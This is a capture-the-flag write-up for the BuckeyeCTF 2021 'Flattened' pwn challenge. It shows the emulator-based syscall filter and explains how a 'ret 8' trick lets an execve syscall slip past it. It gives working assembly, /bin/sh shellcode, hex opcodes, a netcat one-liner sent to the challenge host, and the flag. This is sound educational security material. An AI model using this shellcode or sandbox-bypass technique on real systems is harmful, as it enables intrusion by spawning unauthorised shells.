lines of code on a computer

BuckeyeCTF 2021 Flattened

Top News12/09/2020

By Lucas Di Martino

Details
 

  • Category : pwn
  • Points : 471 pts
  • Solves : 18 solves

Description

My server uses the latest technology to flatten your program before executing it:

nc pwn.chall.pwnoh.io 13377

Source code :

#!/usr/bin/env python3
import qiling
import pwn
import subprocess
import capstone.x86_const

pwn.context.arch = "amd64"
dump = []


def code_hook(ql, address, size):
    global dump
    buf = ql.mem.read(address, size)
    for i in md.disasm(buf, address):
        allowed_syscalls = {1, 0x3c}
        if (
            capstone.x86_const.X86_GRP_INT in i.groups
            and ql.reg.eax not in allowed_syscalls
        ):
            print(f"[-] syscall = {hex(ql.reg.eax)}")
            raise ValueError("HACKING DETECTED!")

        ignored_groups = {
            capstone.x86_const.X86_GRP_JUMP,
            capstone.x86_const.X86_GRP_CALL,
            capstone.x86_const.X86_GRP_RET,
            capstone.x86_const.X86_GRP_IRET,
            capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
        }
        ignore = len(set(i.groups) & ignored_groups) > 0

        print(
            f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"
        )
        if not ignore:
            dump.append(bytes(i.bytes))


inp = input("Enter code in hex:\n")
code = bytes.fromhex(inp)

ql = qiling.Qiling(
    code=code,
    rootfs="/",
    ostype="linux",
    archtype="x8664",
)

ql.hook_code(code_hook)
md = ql.create_disassembler()
md.detail = True
ql.run()

print("[+] Your program has been flattened! Executing ...")
new_code = b"".join(dump)
filename = pwn.make_elf(new_code, extract=False, vma=0x11FF000)
subprocess.run([filename])

Understanding the problem

The program is waiting for a shellcode to execute.

Before executing it on the real server, the shellcode will be executed it in a VM with Qiling. Qiling will flatten the binary and apply some filters on the syscalls.

Only two syscalls are allowed: exit and write.

When the shellcode is executed in the VM, some instructions are removed to flatten it. Theses instructions are:

ignored_groups = {
    capstone.x86_const.X86_GRP_JUMP,
    capstone.x86_const.X86_GRP_CALL,
    capstone.x86_const.X86_GRP_RET,
    capstone.x86_const.X86_GRP_IRET,
    capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
}

Only the executed instructions are stored on the new flatten binary.

The main objective is to bypass the Qiling jail to be able to get a shell on the server.

Solving the problem

The instructions CALL and RET will be executed in the Qiling jail but won’t be present in the flattened binary. The RET instruction allows us to specify a number of bytes to pop from the stack before returning. So, it’s possible to push two values on the stack, that will correspond to the syscalls ID : exit and execve. In the jail, the RET instruction will allow us to remove the execve syscall ID form the stack and to execute the exit syscall. In the final binary, the RET and CALL are not present so the execve syscall will be executed.

Implementing the solution

PUSH 0x3C ; syscall id: exit
PUSH 0x3B ; syscall id: execve

call bypass

pop rax
; x86_64 linux shellcode http://shell-storm.org/shellcode/files/shellcode-806.php
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
; mov al, 0x3b

syscall

bypass:
    ret 8

The opcodes corresponding to this code are:

6A3C6A3BE8180000005848BBD19D9691D08C97FF48F7DB53545F995257545E0F05C20800

(echo "6A3C6A3BE8180000005848BBD19D9691D08C97FF48F7DB53545F995257545E0F05C20800"; cat -)|nc nc pwn.chall.pwnoh.io 13377

Flag : buckeye{execve_plu5_0n3_1s_exit}

Our news